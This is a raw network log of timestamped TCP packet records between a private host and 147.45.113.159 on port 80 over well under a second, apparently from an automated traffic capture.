Dec 20, 2024 17:13:45.745641947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.745687008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.746335030 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.746490002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.746539116 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.747092009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.747243881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.747303963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.747977972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.748187065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.748229027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.748634100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.748848915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.748888016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.749497890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.749561071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.749597073 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.750216007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.750288010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.750348091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.751096010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.751110077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.751158953 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.751821041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.751887083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.751929998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.752569914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.752715111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.752760887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.753447056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.753458977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.753503084 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.754159927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.754293919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.754338980 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.754976034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.755012989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.755049944 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.755794048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.755870104 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.755908966 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.756535053 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.756547928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.756587029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.757388115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.757441044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.757481098 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.758133888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.758399963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.758444071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.758891106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.758965969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.759012938 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.775454998 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.816262007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.816294909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.816411972 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.816488028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.816735029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.816776991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.817363977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.818018913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.818072081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.818124056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.818353891 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.818422079 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.818871975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.819004059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.819045067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.819569111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.819814920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.819856882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.820421934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.820628881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.820671082 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.821492910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.821508884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.821549892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.821965933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.822279930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.822321892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.822717905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.822810888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.822860003 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.823483944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.823633909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.823677063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.824369907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.824412107 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.824453115 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.824985027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.825094938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.825279951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.825323105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.825875998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.826024055 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.826066971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.826616049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.826833010 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.826894999 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.827419996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.827541113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.827588081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.828351021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.828366995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.828411102 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.829060078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.829245090 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.829288960 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.829794884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.829875946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.829920053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.830539942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.830698013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.830735922 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.847671986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.847713947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.847759962 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.847990990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.848117113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.848153114 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.848681927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.848984957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.849025011 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.849396944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.869193077 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.928731918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.928972960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.929029942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.929047108 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.929056883 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.929092884 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.929722071 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.930377007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.930413008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.930423021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.930433989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.930475950 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.931397915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.931411982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.931456089 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.931958914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.932749987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.932763100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.932787895 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.932868004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.932904005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.933665991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.933677912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.933717012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.934359074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.935125113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.935136080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.935164928 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.935318947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.935357094 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.935971022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.936074018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.936125040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.936700106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.937459946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.937472105 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.937508106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.937669039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.937714100 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.938273907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.938499928 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.938546896 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.939157963 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.939215899 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.939263105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.939898968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.940083027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.940131903 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.940721035 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.941047907 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.941096067 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.941379070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.941631079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.941678047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.942183018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.942327023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.942370892 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.942943096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.943171978 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.943217039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.943831921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.944142103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.944188118 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.944566011 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.944577932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.944619894 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.945283890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.945664883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.945710897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.946130037 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.946270943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.946316004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.946703911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.946875095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.947033882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.947097063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.947613001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.947626114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.947664022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.948396921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.948611021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.948662996 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.949181080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.949341059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.949392080 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.950016022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.950131893 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.950179100 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.950793982 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.951147079 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:45.951194048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:45.951473951 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.008256912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.008322954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.008579969 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.008591890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.008635044 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.008716106 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.009327888 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.009341955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.009363890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.010097027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.010137081 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.010240078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.010870934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.010920048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.010976076 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.011646032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.011693954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.011887074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.012478113 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.012518883 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.012660027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.013252020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.013273001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.013298035 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.013979912 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.014024973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.014116049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.014796019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.014806986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.014833927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.015646935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.015660048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.015691042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.016444921 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.016491890 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.016598940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.017276049 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.017323017 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.017395020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.017895937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.017944098 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.018033981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.018738031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.018784046 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.018970013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.019495964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.019506931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.019546986 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.020453930 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.020466089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.020509005 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.021059990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.021101952 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.021281958 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.021922112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.022001028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.022039890 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.022653103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.022701025 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.022713900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.036622047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.039381027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.039434910 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.039504051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.039515018 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.039552927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.039747000 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.040342093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.040383101 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.040389061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.041167021 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.041209936 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.041503906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.049844027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.120795965 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.121138096 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.121155977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.121190071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.121319056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.121330976 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.121356964 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.122138977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.122184038 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.122456074 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.122910023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.122920990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.122947931 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.123699903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.123712063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.123739958 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.124399900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.124439001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.125201941 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.125214100 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.125271082 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.125403881 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.126014948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.126075029 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.126106977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.126784086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.126823902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.126904964 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.127631903 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.127670050 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.127671957 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.128350019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.128393888 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.128477097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.129158974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.129196882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.129331112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.130139112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.130182028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.130490065 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.130697012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.130708933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.130738974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.131521940 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.131566048 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:46.131653070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.132237911 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:46.132277012 CET	49711	80	192.168.2.9	147.45.113.159
